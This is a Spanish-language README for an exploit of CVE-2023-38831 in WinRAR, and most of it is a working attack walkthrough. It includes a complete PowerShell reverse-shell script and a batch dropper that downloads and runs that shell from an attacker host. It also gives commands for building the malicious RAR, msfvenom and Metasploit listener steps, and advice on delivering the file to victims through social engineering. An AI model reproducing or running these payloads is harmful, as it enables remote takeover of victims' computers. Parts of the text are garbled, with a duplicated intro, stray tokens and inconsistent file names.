
Este proyecto contiene un script de Python que explota **CVE-2023-38831**, una vulnerabilidad en **WinRAR** versiones anteriores a la 6.23. El exploit genera un **archivo RAR malicioso** que desencadena la ejecución de código arbitrario cuando la víctima abre un archivo de apariencia benigna dentro del archivo (como un PDF).
technical_corpEste proyecto contiene un script en Python que explota CVE-2023-38831, una vulnerabilidad en WinRAR versiones anteriores a la 6.23. El exploit genera un archivo RAR malicioso que desencadena la ejecución de código arbitrario cuando la víctima abre un archivo de apariencia inofensiva dentro del archivo (como un PDF). La vulnerabilidad fue explotada activamente en la naturaleza desde abril hasta agosto de 2023.
CVE-2023-38831 es una vulnerabilidad en WinRAR que permite a los atacantes ejecutar código arbitrario cuando la víctima abre un archivo que contiene tanto un archivo benigno como una carpeta maliciosa con el mismo nombre. Cuando el usuario interactúa con el archivo benigno, WinRAR procesa erróneamente el contenido de la carpeta maliciosa y ejecuta la carga útil del atacante.
.bat o .exe).git clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Usaremos un archivo por lotes incrustado en un archivo .rar para descargar y ejecutar una shell inversa de PowerShell alojada.
Crear el Script de Shell Inversa de PowerShell:
Guarde el siguiente script de PowerShell como reverse.ps1 en su máquina Kali Linux:
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Reemplace <attacker_ip> con la IP de su máquina Kali Linux.
Reemplace <attacker_port> con el número de puerto en el que escuchará.
Alojar el Script de PowerShell en su Máquina Kali Linux:
Navegue hasta la carpeta donde se guarda el script de PowerShell:
cd /ruta/al/script-powershell
Use el servidor HTTP de Python para alojar el archivo en el puerto 80:
python3 -m http.server 80
Esto hará que reverse.ps1 esté disponible en http://<attacker_ip>/reverse.ps1.
Cree un archivo por lotes (script.bat) que descargará y ejecutará la shell inversa de PowerShell:
@echo off
:: Abrir el PDF legítimo
start bait.pdf
:: Descargar y ejecutar el script de PowerShell
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Usar el Script de Exploit CVE-2023-38831 para Incrustar el Archivo por Lotes:
Ejecute el script de exploit de WinRAR para incrustar el archivo por lotes en un PDF legítimo:
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Este comando crea el archivo POC.rar, que contiene el script.bat que ejecutará la shell inversa.
Inicie un oyente Netcat para capturar la shell inversa:
nc -lvnp <attacker_port>
Una vez que la víctima abra el POC.rar y ejecute el archivo PDF, se desencadenará script.bat. El script descargará y ejecutará la shell inversa de PowerShell desde su servidor. Recibirá una conexión de shell inversa en su oyente Netcat.
Generar una carga útil (si se usa Metasploit): Puede crear una carga útil de shell inversa usando msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Mueva el archivo payload.exe creado al directorio CVE-2023-WinRAR-Exploit
Ejecutar el generador de exploit: Ejecute el script de Python para generar un archivo RAR malicioso:
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b: Especificar el archivo señuelo (por ejemplo, nmapcheatsheet.pdf). -p: Especificar el archivo de carga útil (por ejemplo, script.bat o payload.exe). -o: Especificar el nombre del archivo de salida (por ejemplo, POC.rar).
Entregar el archivo RAR a la víctima: El malicious_archive.rar generado se puede entregar a la víctima mediante ingeniería social, archivos adjuntos de correo electrónico o plataformas de intercambio de archivos.
Configurar un oyente (si se usa Metasploit): En su máquina atacante, configure un oyente para capturar la shell inversa:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
El atacante entrega un archivo RAR malicioso a la víctima. La víctima abre el archivo señuelo (por ejemplo, nmapcheatsheet.pdf), lo que desencadena silenciosamente la carga útil. La carga útil (por ejemplo, una shell inversa) se ejecuta en segundo plano, proporcionando al atacante control sobre el sistema de la víctima.
Este proyecto está destinado únicamente a fines educativos. El autor no se hace responsable del mal uso de este exploit. Solo debe usarse en entornos autorizados o escenarios de pruebas de penetración con consentimiento total.